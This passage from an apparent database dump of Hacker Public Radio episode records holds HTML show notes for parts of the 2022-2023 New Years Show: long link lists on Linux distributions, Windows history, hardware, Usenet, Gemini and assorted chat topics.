uses.</li>\n<li><a\nhref=\"https://mitpress.mit.edu/9780262517201/ibms-360-and-early-370-systems/\">mit:</a>\nIBM\'s 360 and Early 370 Systems.</li>\n<li><a\nhref=\"https://www.history.com/this-day-in-history/the-great-san-francisco-earthquake\">history:</a>\nThe Great San Francisco Earthquake.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Secretarial_pool\">wikipedia:</a> A\nsecretarial pool or typing pool is a group of secretaries working at a\ncompany available to assist any executive without a permanently assigned\nsecretary. These groups have been reduced or eliminated where executives\nhave been assigned responsibility for writing their own letters and\nother secretarial work.</li>\n<li><a href=\"https://www.debian.org/\">debian:</a> Debian, also known as\nDebian GNU/Linux, is a Linux distribution composed of free and\nopen-source software, developed by the community-supported Debian\nProject, which was established by Ian Murdock on August 16, 1993.</li>\n<li><a href=\"https://nobaraproject.org/\">nobaraproject:</a> The Nobara\nProject, to put it simply, is a modified version of Fedora Linux with\nuser-friendly fixes added to it.</li>\n<li><a href=\"https://getfedora.org/\">getfedora:</a> Fedora Linux is a\nLinux distribution developed by the Fedora Project. Fedora contains\nsoftware distributed under various free and open-source licenses and\naims to be on the leading edge of open-source technologies.</li>\n<li><a href=\"https://dwm.suckless.org/tutorial/\">suckless:</a> dwm is a\ndynamic window manager for Xorg.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/ThinkPad_X_series#X200_and_X200s\">wikipedia:</a>\nThe ThinkPad X series is a line of laptop computers and convertible\ntablets produced by Lenovo with less power than its other counterparts.\nIt was initially produced by IBM until 2005.</li>\n<li><a\nhref=\"https://www.newsgroups.com/do-newsgroups-still-exist-today/\">newsgroups:</a>\nUsenet is a very popular platform, and Newsgroups are a crucial part of\nIt because Users to interact with each other, share and share\nstuff.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Gopher_(protocol)\">wikipedia:</a>\nThe Gopher protocol (/&#x2C8;&#x261;o&#x28A;f&#x259;r/) is a communication protocol designed for\ndistributing, searching, and retrieving documents in Internet Protocol\nnetworks.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Gemini_(protocol)\">wikipedia:</a>\nGemini is an application-layer internet communication protocol for\naccessing remote documents, similar to the Hypertext Transfer Protocol\n(HTTP) and Gopher.</li>\n<li><a\nhref=\"https://github.com/makeworld-the-better-one/amfora\">github:</a>\nAmfora aims to be the best looking Gemini client with the most\nfeatures... all in the terminal. It does not support Gopher or other\nnon-Web protocols - check out Bombadillo for that.</li>\n<li><a\nhref=\"https://gemini.circumlunar.space/clients.html\">circumlunar:</a>\nYou can use the following Gemini clients to connect to this server via\nthe Gemini protocol and access the full range of content.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Dial-up_Internet_access\">wikipedia:</a>\nDial-up Internet access is a form of Internet access that uses the\nfacilities of the public switched telephone network (PSTN) to establish\na connection to an Internet service provider (ISP) by dialing a\ntelephone number on a conventional telephone line.</li>\n<li><a href=\"https://www.youtube.com/watch?v=Vrrw1ZVNdCo\">youtube:</a>\nThe FCC and Federal marshals raid a pirate radio station in Knoxville\nTennessee.</li>\n<li><a\nhref=\"https://banana.fish/sysadmin/alt.sysadmin.recovery-faq\">fish:</a>\nnewsgroup for discussion by recovering sysadmins.</li>\n<li><a href=\"https://www.thunderbird.net/en-US/\">thunderbird:</a>\nThunderbird is an open source project, which means anyone can contribute\nideas, designs, code, and time helping fellow users.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Eternal_September\">wikipedia:</a>\nEternal September or the September that never ended is Usenet slang for\na period beginning around 1993 when Internet service providers began\noffering Usenet access to many new users.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/BBM_(software)\">wikipedia:</a> BBM,\nalso known by its full name BlackBerry Messenger, was a proprietary\nmobile instant messenger and videotelephony application included on\nBlackBerry devices that allows messaging and voice calls between\nBlackBerry OS, BlackBerry 10, iOS, Android, and Windows Mobile\nusers.</li>\n<li><a href=\"https://www.opensuse.org/\">opensuse:</a> openSUSE, formerly\nSUSE Linux and SuSE Linux Professional, is a Linux distribution\nsponsored by SUSE Linux GmbH and other companies.</li>\n<li><a\nhref=\"https://www.bbc.com/worklife/article/20200417-what-hermits-can-teach-us-about-isolation\">bbc:</a>\nWhat hermits can teach us about isolation.</li>\n<li><a href=\"http://www.stwww.com/usenet/index.html\">stwww:</a> THE STAR\nTREK NEWSGROUPS.</li>\n<li><a\nhref=\"https://www.ebay.com/sch/i.html?_nkw=hp+elitedesk&amp;_sop=12&amp;mkevt=1&amp;mkcid=1&amp;mkrid=711-53200-19255-0&amp;campid=5337590774&amp;customid=&amp;toolid=10001\">ebay:</a>\n2,400+ results for hp elitedesk on ebay.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/M.2\">wikipedia:</a> M.2,\npronounced m dot two and formerly known as the Next Generation Form\nFactor (NGFF), is a specification for internally mounted computer\nexpansion cards and associated connectors. M.2 replaces the mSATA\nstandard, which uses the PCI Express Mini Card physical card layout and\nconnectors.</li>\n<li><a href=\"https://www.oggcamp.org/\">oggcamp:</a> OggCamp is an\nunconference celebrating Free Culture, Free and Open Source Software,\nhardware hacking, digital rights, and all manner of collaborative\ncultural activities and is committed to creating a conference that is as\ninclusive as possible.</li>\n<li><a\nhref=\"https://www.mass.gov/files/documents/2016/09/sm/lawenforcement.pdf\">mass:</a>\nIt is illegal for private citizens to use, possess, or sell fireworks in\nMassachusetts, or to purchase them legally elsewhere and then transport\nthem into the state. The law prohibits any article designed to produce a\nvisible or audible effect.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/COVID-19_pandemic\">wikipedia:</a>\nThe COVID-19 pandemic, also known as the coronavirus pandemic, is an\nongoing global pandemic of coronavirus disease 2019 (COVID-19) caused by\nsevere acute respiratory syndrome coronavirus 2 (SARS-CoV-2). The novel\nvirus was first identified in an outbreak in the Chinese city of Wuhan\nin December 2019.</li>\n<li><a\nhref=\"https://www.cdc.gov/flu/business/promoting-vaccines-workplace.htm\">cdc:</a>\nVaccination often already covered under employee health plans Improves\nmorale Benefits to Employees: Reduces absences due to sickness and\ndoctor visits Improves health Convenience Improves morale Benefits will\nvary based on investment by employers in championing vaccination and\nnumber of employees vaccinated.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/McDonnell_F-101_Voodoo\">wikipedia:</a>\nThe McDonnell F-101 Voodoo is a supersonic jet fighter which served the\nUnited States Air Force (USAF) and the Royal Canadian Air Force\n(RCAF).</li>\n<li><a href=\"https://en.wikipedia.org/wiki/MIM-23_Hawk\">wikipedia:</a>\nThe Raytheon MIM-23 HAWK (\"Homing all the way killer\") is an American\nmedium-range surface-to-air missile.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/C-4_(explosive)\">wikipedia:</a> C-4\nor Composition C-4 is a common variety of the plastic explosive family\nknown as Composition C, which uses RDX as its explosive agent.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Boeing_C-97_Stratofreighter\">wikipedia:</a>\nThe Boeing C-97 Stratofreighter was a long-range heavy military cargo\naircraft developed from the B-29 and B-50 bombers.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Boeing_B-29_Superfortress\">wikipedia:</a>\nThe Boeing B-29 Superfortress is an American four-engined\npropeller-driven heavy bomber, designed by Boeing and flown primarily by\nthe United States during World War II and the Korean War.</li>\n<li><a\nhref=\"https://www.nasa.gov/directorates/heo/scan/communications/outreach/funfacts/txt_relay_satellite.html\">nasa:</a>\nWhat is a relay satellite?</li>\n<li><a\nhref=\"https://truckstop.com/blog/long-haul-trucking/\">truckstop:</a>\nLong-Haul Trucking: Everything You Need to Know.</li>\n<li><a href=\"https://www.bodhilinux.com/\">bodhilinux:</a> Bodhi Linux, a\nlightweight distribution featuring the fast &amp; fully customizable\nMoksha Desktop. The 64-bit is built on top of Ubuntu (20.04).</li>\n<li><a href=\"https://stormos-linux.com/\">stormos:</a> Storm OS is a\nLinux distribution based on Arch, and LFS (Linux from Scratch)!</li>\n<li><a href=\"https://stormdos.sourceforge.net/\">stormdos:</a> a\nmultitasking 32-bit operating system written in Free Pascal (FPK, <a\nhref=\"http://www.freepascal.org\">http://www.freepascal.org</a> ) and\ndistributed under GNU GPL v2 license and SDK files under GNU Lesser GPL\nv2.1.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_Linux_distributions\">wikipedia:</a>\nList of Linux distributions.</li>\n<li><a\nhref=\"https://sourceforge.net/projects/titan-linux/\">sourceforge:</a>\nTitan Linux is an all new distro built on the Debian Stable branch. It\'s\na fully functional yet minimal KDE Plasma desktop experience focusing on\nusability and performance with a wide range of hardware support out of\nthe box.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Dyslexia\">wikipedia:</a>\nDyslexia, also known until the 1960s as word blindness, is a disorder\ncharacterized by reading below the expected level for one\'s age.\nDifferent people are affected to different degrees. Problems may include\ndifficulties in spelling words, reading quickly, writing words,\n\"sounding out\" words in the head, pronouncing words when reading aloud\nand understanding what one reads.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/DSM-5\">wikipedia:</a> The\nDiagnostic and Statistical Manual of Mental Disorders, Fifth Edition\n(DSM-5), is the 2013 update to the Diagnostic and Statistical Manual of\nMental Disorders, the taxonomic and diagnostic tool published by the\nAmerican Psychiatric Association (APA). In the United States, the DSM\nserves as the principal authority for psychiatric diagnoses.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Diagnostic_and_Statistical_Manual_of_Mental_Disorders#DSM-IV_(1994)\">wikipedia:</a>\nIn 1994, DSM-IV was published, listing 410 disorders in 886 pages. The\ntask force was chaired by Allen Frances and was overseen by a steering\ncommittee of twenty-seven people, including four psychologists.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Thyroid\">wikipedia:</a> The\nthyroid, or thyroid gland, is an endocrine gland in vertebrates. In\nhumans it is in the neck and consists of two connected lobes.</li>\n<li><a\nhref=\"https://www.learning-mind.com/personality-assessment-tests/\">learning:</a>\nWhy use personality assessment tests?</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Major_depressive_disorder\">wikipedia:</a>\nMajor depressive disorder (MDD), also known as clinical depression, is a\nmental disorder characterized by at least two weeks of pervasive low\nmood, low self-esteem, and loss of interest or pleasure in normally\nenjoyable activities.</li>\n<li><a href=\"https://www.drugs.com/testosterone.html\">drugs:</a>\nTestosterone Injection.</li>\n<li><a\nhref=\"https://www.healthline.com/health/low-testosterone/warning-signs\">healthline:</a>\nLow testosterone in males is common as they get older. Symptoms can be\nsubtle, but there is treatment available if the symptoms affect your\nlifestyle.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Endocrinology\">wikipedia:</a>\nEndocrinology (from endocrine + -ology) is a branch of biology and\nmedicine dealing with the endocrine system, its diseases, and its\nspecific secretions known as hormones. It is also concerned with the\nintegration of developmental events proliferation, growth, and\ndifferentiation, and the psychological or behavioral activities of\nmetabolism, growth and development, tissue function, sleep, digestion,\nrespiration, excretion, mood, stress, lactation, movement, reproduction,\nand sensory perception caused by hormones.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nephrology\">wikipedia:</a>\nNephrology (from Greek nephros \"kidney\", combined with the suffix -logy,\n\"the study of\") is a specialty of adult internal medicine and pediatric\nmedicine that concerns the study of the kidneys, specifically normal\nkidney function (renal physiology) and kidney disease (renal\npathophysiology), the preservation of kidney health, and the treatment\nof kidney disease, from diet and medication to renal replacement therapy\n(dialysis and kidney transplantation).</li>\n<li><a\nhref=\"https://www.allrecipes.com/recipe/246847/salmon-tacos/\">allrecipes:</a>\nSalmon Tacos.</li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3824,'2023-03-30','2022-2023 New Years Show Episode 4',7209,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-4\">Episode #4</h2>\n<ul>\n<li><p>Massachusetts Comprehensive Assessment System<br />\n<a href=\"https://www.mass.gov/parents-guide-to-the-mcas\"\nclass=\"uri\">https://www.mass.gov/parents-guide-to-the-mcas</a><br />\n<a\nhref=\"https://en.wikipedia.org/wiki/Massachusetts_Comprehensive_Assessment_System\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Massachusetts_Comprehensive_Assessment_System</a></p></li>\n<li><p>Standardized Testing Was Invented In Massachusetts<br />\n<a\nhref=\"https://ed.lehigh.edu/news-events/news/history-standardized-testing\"\nclass=\"uri\">https://ed.lehigh.edu/news-events/news/history-standardized-testing</a></p></li>\n<li><p>GED Exam<br />\n<a href=\"https://ged.com/about_test/test_subjects/\"\nclass=\"uri\">https://ged.com/about_test/test_subjects/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/General_Educational_Development\"\nclass=\"uri\">https://en.wikipedia.org/wiki/General_Educational_Development</a></p></li>\n<li><p>Alternative High Schools<br />\n<a href=\"https://blog.prepscholar.com/alternative-high-schools\"\nclass=\"uri\">https://blog.prepscholar.com/alternative-high-schools</a></p></li>\n<li><p>Umbrella Revolution<br />\n<a\nhref=\"https://time.com/3471366/hong-kong-umbrella-revolution-occupy-central-democracy-explainer-6-questions/\"\nclass=\"uri\">https://time.com/3471366/hong-kong-umbrella-revolution-occupy-central-democracy-explainer-6-questions/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Umbrella_Movement\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Umbrella_Movement</a></p></li>\n<li><p>Learning the Finnish Language<br />\n<a\nhref=\"https://finland.fi/life-society/how-the-heck-do-you-learn-finnish-part-1/\"\nclass=\"uri\">https://finland.fi/life-society/how-the-heck-do-you-learn-finnish-part-1/</a><br />\n<a href=\"https://herfinland.com/finnish-language-learning/\"\nclass=\"uri\">https://herfinland.com/finnish-language-learning/</a></p></li>\n<li><p>France Bans Google Drive In Schools<br />\n<a\nhref=\"https://www.theregister.com/2022/11/22/france_no_windows_google/\"\nclass=\"uri\">https://www.theregister.com/2022/11/22/france_no_windows_google/</a><br />\n<a\nhref=\"https://gettotext.com/office-365-and-google-drive-are-not-welcome-in-french-schools-even-if-they-are-free/\"\nclass=\"uri\">https://gettotext.com/office-365-and-google-drive-are-not-welcome-in-french-schools-even-if-they-are-free/</a></p></li>\n<li><p>Windows Me (Windows Millennium Edition)<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_Me\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_Me</a><br />\n<a\nhref=\"https://www.howtogeek.com/688861/windows-me-20-years-later-was-it-really-that-bad/\"\nclass=\"uri\">https://www.howtogeek.com/688861/windows-me-20-years-later-was-it-really-that-bad/</a></p></li>\n<li><p>Windows 2000<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_2000\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_2000</a></p></li>\n<li><p>Windows 95<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_95\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_95</a></p></li>\n<li><p>FreeDOS<br />\n<a href=\"https://www.freedos.org/\"\nclass=\"uri\">https://www.freedos.org/</a></p></li>\n<li><p>BOX 86<br />\n<a href=\"https://box86.org/\" class=\"uri\">https://box86.org/</a></p></li>\n<li><p>React OS<br />\n<a href=\"https://reactos.org/\"\nclass=\"uri\">https://reactos.org/</a></p></li>\n<li><p>WINE<br />\n<a href=\"https://www.winehq.org/\"\nclass=\"uri\">https://www.winehq.org/</a></p></li>\n<li><p>Proton<br />\n<a href=\"https://github.com/ValveSoftware/Proton\"\nclass=\"uri\">https://github.com/ValveSoftware/Proton</a><br />\n<a href=\"https://www.tomshardware.com/how-to/game-with-steam-on-linux\"\nclass=\"uri\">https://www.tomshardware.com/how-to/game-with-steam-on-linux</a><br />\n<a href=\"https://www.protondb.com/\"\nclass=\"uri\">https://www.protondb.com/</a></p></li>\n<li><p>Windows XP<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_XP\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_XP</a></p></li>\n<li><p>Windows 7<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_7\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_7</a></p></li>\n<li><p>Windows 10<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_10\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_10</a></p></li>\n<li><p>Windows 10 - The Last Version of Windows?<br />\n<a\nhref=\"https://www.theverge.com/2015/5/7/8568473/windows-10-last-version-of-windows\"\nclass=\"uri\">https://www.theverge.com/2015/5/7/8568473/windows-10-last-version-of-windows</a><br />\n<a\nhref=\"https://www.pcworld.com/article/394724/why-is-there-a-windows-11-if-windows-10-is-the-last-windows.html\"\nclass=\"uri\">https://www.pcworld.com/article/394724/why-is-there-a-windows-11-if-windows-10-is-the-last-windows.html</a></p></li>\n<li><p>Windows 11<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_11\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_11</a></p></li>\n<li><p>TPM<br />\n<a href=\"https://en.wikipedia.org/wiki/Trusted_Platform_Module\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Trusted_Platform_Module</a></p></li>\n<li><p>Netbook Remix<br />\n<a href=\"https://wiki.ubuntu.com/UNR\"\nclass=\"uri\">https://wiki.ubuntu.com/UNR</a></p></li>\n<li><p>HP 11 Chromebook<br />\n<a href=\"https://www.lifewire.com/hp-chromebook-11-review-4845478\"\nclass=\"uri\">https://www.lifewire.com/hp-chromebook-11-review-4845478</a></p></li>\n<li><p>Starlabs<br />\n<a href=\"https://us.starlabs.systems/\"\nclass=\"uri\">https://us.starlabs.systems/</a></p></li>\n<li><p>Modular Laptop<br />\n<a href=\"https://frame.work/\"\nclass=\"uri\">https://frame.work/</a></p></li>\n<li><p>Pine 64<br />\n<a href=\"https://www.pine64.org/\"\nclass=\"uri\">https://www.pine64.org/</a></p></li>\n<li><p>Linus Tech Tips<br />\n<a href=\"https://www.youtube.com/@LinusTechTips\"\nclass=\"uri\">https://www.youtube.com/@LinusTechTips</a></p></li>\n<li><p>Pine Phone<br />\n<a href=\"https://www.pine64.org/pinephonepro/\"\nclass=\"uri\">https://www.pine64.org/pinephonepro/</a></p></li>\n<li><p>Google Aria (announced, not released)<br />\n<a href=\"https://www.keatteoh.com/google-aria\"\nclass=\"uri\">https://www.keatteoh.com/google-aria</a></p></li>\n<li><p>Right to Repair - Apple / EU<br />\n<a\nhref=\"https://repair.eu/news/apples-self-repair-programme-is-not-the-right-to-repair-we-need/\"\nclass=\"uri\">https://repair.eu/news/apples-self-repair-programme-is-not-the-right-to-repair-we-need/</a><br />\n<a\nhref=\"https://www.apple.com/newsroom/2022/12/apple-launches-self-service-repair-in-europe/\"\nclass=\"uri\">https://www.apple.com/newsroom/2022/12/apple-launches-self-service-repair-in-europe/</a></p></li>\n<li><p>Apple Moves To USB C<br />\n<a\nhref=\"https://www.wired.com/story/apple-says-iphones-will-finally-get-usb-c-ports/\"\nclass=\"uri\">https://www.wired.com/story/apple-says-iphones-will-finally-get-usb-c-ports/</a></p></li>\n<li><p>Windows Mobile<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_Mobile\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_Mobile</a></p></li>\n<li><p>Lumia series phones (Nokia/Windows Mobile)<br />\n<a href=\"https://en.wikipedia.org/wiki/Microsoft_Lumia\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Microsoft_Lumia</a></p></li>\n<li><p>Metro UI (Modern UI)<br />\n<a href=\"https://en.wikipedia.org/wiki/Metro_(design_language)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Metro_(design_language)</a><br />\n<a href=\"https://microsoft.fandom.com/wiki/Modern_UI\"\nclass=\"uri\">https://microsoft.fandom.com/wiki/Modern_UI</a></p></li>\n<li><p>GNOME 2<br />\n<a href=\"https://en.wikipedia.org/wiki/GNOME_2\"\nclass=\"uri\">https://en.wikipedia.org/wiki/GNOME_2</a></p></li>\n<li><p>GNOME 3<br />\n<a href=\"https://en.wikipedia.org/wiki/GNOME_3\"\nclass=\"uri\">https://en.wikipedia.org/wiki/GNOME_3</a></p></li>\n<li><p>Unity<br />\n<a href=\"https://en.wikipedia.org/wiki/Unity_(user_interface)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Unity_(user_interface)</a></p></li>\n<li><p>KDE<br />\n<a href=\"https://kde.org/\" class=\"uri\">https://kde.org/</a></p></li>\n<li><p>MATE<br />\n<a href=\"https://mate-desktop.org/\"\nclass=\"uri\">https://mate-desktop.org/</a></p></li>\n<li><p>Cinnamon<br />\n<a href=\"https://en.wikipedia.org/wiki/Cinnamon_(desktop_environment)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Cinnamon_(desktop_environment)</a></p></li>\n<li><p>XFCE<br />\n<a href=\"https://www.xfce.org/\"\nclass=\"uri\">https://www.xfce.org/</a></p></li>\n<li><p>Redhat<br />\n<a href=\"https://www.redhat.com/en\"\nclass=\"uri\">https://www.redhat.com/en</a></p></li>\n<li><p>Ubuntu<br />\n<a href=\"https://ubuntu.com/\"\nclass=\"uri\">https://ubuntu.com/</a></p></li>\n<li><p>SUSE<br />\n<a href=\"https://www.suse.com/\"\nclass=\"uri\">https://www.suse.com/</a></p></li>\n<li><p>Enlightenment<br />\n<a href=\"http://www.enlightenment.org/\"\nclass=\"uri\">http://www.enlightenment.org/</a></p></li>\n<li><p>Canonical<br />\n<a href=\"https://canonical.com/\"\nclass=\"uri\">https://canonical.com/</a></p></li>\n<li><p>ICE Windows Manager<br />\n<a href=\"https://ice-wm.org/\"\nclass=\"uri\">https://ice-wm.org/</a></p></li>\n<li><p>DWM<br />\n<a href=\"https://dwm.suckless.org/\"\nclass=\"uri\">https://dwm.suckless.org/</a></p></li>\n<li><p>Pipewire<br />\n<a href=\"https://pipewire.org/\"\nclass=\"uri\">https://pipewire.org/</a></p></li>\n<li><p>Ice Cast<br />\n<a href=\"https://icecast.org/\"\nclass=\"uri\">https://icecast.org/</a></p></li>\n<li><p>Pavucontrol<br />\n<a href=\"https://freedesktop.org/software/pulseaudio/pavucontrol/\"\nclass=\"uri\">https://freedesktop.org/software/pulseaudio/pavucontrol/</a><br />\n<a\nhref=\"https://www.addictivetips.com/ubuntu-linux-tips/manage-audio-devices-on-linux-pavucontrol/\"\nclass=\"uri\">https://www.addictivetips.com/ubuntu-linux-tips/manage-audio-devices-on-linux-pavucontrol/</a></p></li>\n<li><p>Jitsi<br />\n<a href=\"https://jitsi.org/\" class=\"uri\">https://jitsi.org/</a></p></li>\n<li><p>Mumble<br />\n<a href=\"https://www.mumble.info/\"\nclass=\"uri\">https://www.mumble.info/</a></p></li>\n<li><p>Mintcast<br />\n<a href=\"https://mintcast.org/\"\nclass=\"uri\">https://mintcast.org/</a></p></li>\n<li><p>Manjaro<br />\n<a href=\"https://manjaro.org/\"\nclass=\"uri\">https://manjaro.org/</a></p></li>\n<li><p>Linux Mint<br />\n<a href=\"https://linuxmint.com/\"\nclass=\"uri\">https://linuxmint.com/</a></p></li>\n<li><p>TLLTS<br />\n<a href=\"https://tllts.org/\" class=\"uri\">https://tllts.org/</a></p></li>\n<li><p>DD (Linux command)<br />\n<a\nhref=\"https://linuxconfig.org/how-dd-command-works-in-linux-with-examples\"\nclass=\"uri\">https://linuxconfig.org/how-dd-command-works-in-linux-with-examples</a></p></li>\n<li><p>GNU World Order<br />\n<a href=\"https://gnuworldorder.info/\"\nclass=\"uri\">https://gnuworldorder.info/</a></p></li>\n<li><p>Mastodon<br />\n<a href=\"https://mastodon.social/explore\"\nclass=\"uri\">https://mastodon.social/explore</a></p></li>\n<li><p>Funkwhale<br />\n<a href=\"https://funkwhale.audio/\"\nclass=\"uri\">https://funkwhale.audio/</a></p></li>\n<li><p>Retro Strange<br />\n<a href=\"https://retrostrange.com/tv/\"\nclass=\"uri\">https://retrostrange.com/tv/</a></p></li>\n<li><p>Owncast<br />\n<a href=\"https://owncast.online/\"\nclass=\"uri\">https://owncast.online/</a></p></li>\n<li><p>Mrs Brown\'s Boys Christmas Special<br />\n<a href=\"https://www.comedy.co.uk/tv/mrs_browns_boys/episodes/2022/1/\"\nclass=\"uri\">https://www.comedy.co.uk/tv/mrs_browns_boys/episodes/2022/1/</a></p></li>\n<li><p>Liver-Eating Johnson<br />\n<a href=\"https://en.wikipedia.org/wiki/Liver-Eating_Johnson\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Liver-Eating_Johnson</a><br />\n<a href=\"https://allthatsinteresting.com/liver-eating-johnson\"\nclass=\"uri\">https://allthatsinteresting.com/liver-eating-johnson</a></p></li>\n<li><p>Herman Munster<br />\n<a href=\"https://en.wikipedia.org/wiki/Herman_Munster\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Herman_Munster</a></p></li>\n<li><p><strong>Happy New Year To Ukraine and Finland</strong></p></li>\n<li><p>BookWyrm<br />\n<a href=\"https://github.com/bookwyrm-social/bookwyrm\"\nclass=\"uri\">https://github.com/bookwyrm-social/bookwyrm</a></p></li>\n<li><p>Letterboxd<br />\n<a href=\"https://letterboxd.com/apps/\"\nclass=\"uri\">https://letterboxd.com/apps/</a></p></li>\n<li><p>Goodreads<br />\n<a href=\"https://www.goodreads.com\"\nclass=\"uri\">https://www.goodreads.com</a></p></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3834,'2023-04-13','2022-2023 New Years Show Episode 5',7186,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-5\">Episode #5</h2>\n<ul>\n<li><a\nhref=\"https://www.printables.com/model/348385-kirby-40mm-fume-extractor\">printables:</a>\nKirby 40mm Fume Extractor.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Kirby_Company\">wikipedia:</a>\nThe Kirby Company is a manufacturer of vacuum cleaners and home cleaning\naccessories, located in Cleveland, Ohio, United States. It is a division\nof Right Lane Industries.</li>\n<li><a href=\"https://linuxlugcast.com/\">lugcast:</a> We are an open\nPodcast/LUG that meets every first and third Friday of every month using\nmumble.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/PlayStation_Portable\">wikipedia:</a>\nThe PlayStation Portable (PSP) is a handheld game console developed and\nmarketed by Sony Computer Entertainment.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Rammstein\">wikipedia:</a>\nRammstein is a German Neue Deutsche H&#xE4;rte band formed in Berlin in 1994.\n<ul>\n<li>Goodluck with all the rest of the band/music chatter. I can\'t\nunderstand any of it.</li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=bkskypJMWcE\">youtube:</a>\nBurger Dance.\n<ul>\n<li>Please no. Why did I signup for this.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Syphilis\">wikipedia:</a>\nSyphilis is most commonly spread through sexual activity.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Death_(metal_band)\">wikipedia:</a>\nDeath was an American death metal band formed in Altamonte Springs,\nFlorida, in 1984 by Chuck Schuldiner. Death is considered to be among\nthe most influential bands in heavy metal music and a pioneering force\nin death metal.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Death_(proto-punk_band)\">wikipedia:</a>\nDeath is a Detroit rock band formed in Detroit, Michigan in 1971 by\nbrothers Bobby, David, and Dannis Hackney.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/BitLocker\">wikipedia:</a>\nBitLocker is a full volume encryption feature included with Microsoft\nWindows versions starting with Windows Vista.</li>\n<li><a\nhref=\"https://www.dell.com/us/en/business/notebooks/latitude-e6410/pd.aspx?refid=latitude-e6410\">dell:</a>\nLatitude E6410 Laptop.</li>\n<li><a href=\"http://www.slackware.com/\">slackware:</a> Slackware is a\nLinux distribution created by Patrick Volkerding in 1993.</li>\n<li><a href=\"http://www.puppylinux.com/\">puppylinux:</a> Puppy Linux is\nan operating system and family of light-weight Linux distributions that\nfocus on ease of use and minimal memory footprint.</li>\n<li><a href=\"https://tails.boum.org/\">tails:</a> Tails, or The Amnesic\nIncognito Live System, is a security-focused Debian-based Linux\ndistribution aimed at preserving privacy and anonymity.</li>\n<li><a href=\"https://www.debian.org/\">debian:</a> Debian, also known as\nDebian GNU/Linux, is a Linux distribution composed of free and\nopen-source software, developed by the community-supported Debian\nProject, which was established by Ian Murdock on August 16, 1993.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Trusted_Platform_Module\">wikipedia:</a>\nTrusted Platform Module (TPM, also known as ISO/IEC 11889) is an\ninternational standard for a secure cryptoprocessor, a dedicated\nmicrocontroller designed to secure hardware through integrated\ncryptographic keys.</li>\n<li><a\nhref=\"https://www.pine64.org/devices/single-board-computers/rock64/\">pine64:</a>\nROCK64 is a credit card sized Single Board Computer powered by Rockchip\nRK3328 quad-core ARM Cortex A53 64-Bit Processor and support up to 4GB\n1600MHz LPDDR3 memory.</li>\n<li><a href=\"https://hub.docker.com/r/realies/nicotine/\">docker:</a>\nrealies/nicotine.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Rsync\">wikipedia:</a> rsync\nis a utility for efficiently transferring and synchronizing files\nbetween a computer and an external hard drive and across networked\ncomputers by comparing the modification times and sizes of files.</li>\n<li><a href=\"https://funkwhale.audio/\">funkwhale:</a> Listen to 